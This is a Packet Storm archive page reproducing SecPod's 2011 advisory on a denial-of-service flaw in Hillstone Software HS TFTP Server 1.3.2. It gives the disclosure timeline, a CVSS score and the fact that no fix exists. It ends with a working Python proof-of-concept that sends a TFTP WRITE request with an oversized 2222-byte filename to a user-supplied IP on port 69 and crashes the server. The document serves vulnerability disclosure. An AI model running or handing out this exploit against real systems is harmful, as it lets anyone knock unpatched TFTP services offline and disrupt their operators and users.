exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Hillstone Software HS TFTP Server Denial Of Service

Hillstone Software HS TFTP Server Denial Of Service
Posted Dec 2, 2011
Authored by Prabhu S Angadi | Site secpod.com

Hillstone Software HS TFTP Server suffers from a denial of service vulnerability. Proof of concept exploit included. The vulnerability is caused due to improper validation of a WRITE/READ request parameter containing a long file name, which allows remote attackers to crash the service.

tags | exploit, remote, denial of service, proof of concept
SHA-256 | d85fb6660f78e545641e6b84a78b3e08561fe20866b6f07c082c038e3d26fced

Hillstone Software HS TFTP Server Denial Of Service

Change Mirror Download
##############################################################################
# Title : Hillstone Software HS TFTP Server Denial Of Service Vulnerability
# Author : Prabhu S Angadi from SecPod Technologies (www.secpod.com)
# Vendor : http://www.hillstone-software.com/hs_tftp_details.htm
# Advisory : http://secpod.org/blog/?p=419
# http://secpod.org/advisories/SecPod_Hillstone_Software_HS_TFTP_Server_DoS.txt
# http://secpod.org/exploits/SecPod_Exploit_Hillstone_Software_HS_TFTP_Server_DoS.py
# Version : Hillstone Software HS TFTP 1.3.2
# Date : 02/12/2011
##############################################################################

SecPod ID: 1031 21/09/2011 Issue Discovered
04/10/2011 Vendor Notified
No Response from Vendor
02/12/2011 Advisory Released


Class: Denial Of Service Severity: Medium


Overview:
---------
Hillstone Software HS TFTP Server version 1.3.2 is prone to a denial of
service vulnerability.


Technical Description:
----------------------
The vulnerability is caused due to improper validation of WRITE/READ Request
Parameter containing long file name, which allows remote attackers to crash
the service.


Impact:
--------
Successful exploitation could allow an attacker to cause denial of service
condition.


Affected Software:
------------------
Hillstone Software HS TFTP 1.3.2


Tested on:
-----------
Hillstone Software HS TFTP 1.3.2 on Windows XP SP3 & Win 7.
Older versions might be affected.


References:
-----------
http://secpod.org/blog/?p=419
http://www.hillstone-software.com/index.htm
http://www.hillstone-software.com/hs_tftp_details.htm
http://secpod.org/advisories/SecPod_Hillstone_Software_HS_TFTP_Server_DoS.txt
http://secpod.org/exploits/SecPod_Exploit_Hillstone_Software_HS_TFTP_Server_DoS.py


Proof of Concept:
----------------
http://secpod.org/exploits/SecPod_Exploit_Hillstone_Software_HS_TFTP_Server_DoS.py


Solution:
----------
Not available


Risk Factor:
-------------
CVSS Score Report:
ACCESS_VECTOR = NETWORK
ACCESS_COMPLEXITY = LOW
AUTHENTICATION = NOT_REQUIRED
CONFIDENTIALITY_IMPACT = NONE
INTEGRITY_IMPACT = NONE
AVAILABILITY_IMPACT = PARTIAL
EXPLOITABILITY = PROOF_OF_CONCEPT
REMEDIATION_LEVEL = UNAVAILABLE
REPORT_CONFIDENCE = CONFIRMED
CVSS Base Score = 5 (AV:N/AC:L/Au:N/C:N/I:N/A:P)
Risk factor = Medium


POC :
======

import socket,sys,time

port = 69
target = raw_input("Enter host/target ip address: ")

if not target:
print "Host/Target IP Address is not specified"
sys.exit(1)

print "you entered ", target

try:
socket.inet_aton(target)
except socket.error:
print "Invalid IP address found ..."
sys.exit(1)

try:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
print "socket() failed"
sys.exit(1)

## File name >= 222 length leads to crash
exploit = "\x90" * 2222

mode = "binary"
print "File name WRITE/READ crash"

## WRITE command = \x00\x02
data = "\x00\x02" + exploit + "\0" + mode + "\0"

## READ command = \x00\x01
## data = "\x00\x01" + exploit + "\0" + mode + "\0"

sock.sendto(data, (target, port))
time.sleep(2)
sock.close()
try:
sock.connect()
except:
print "Remote TFTP server port is down..."
sys.exit(1)

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close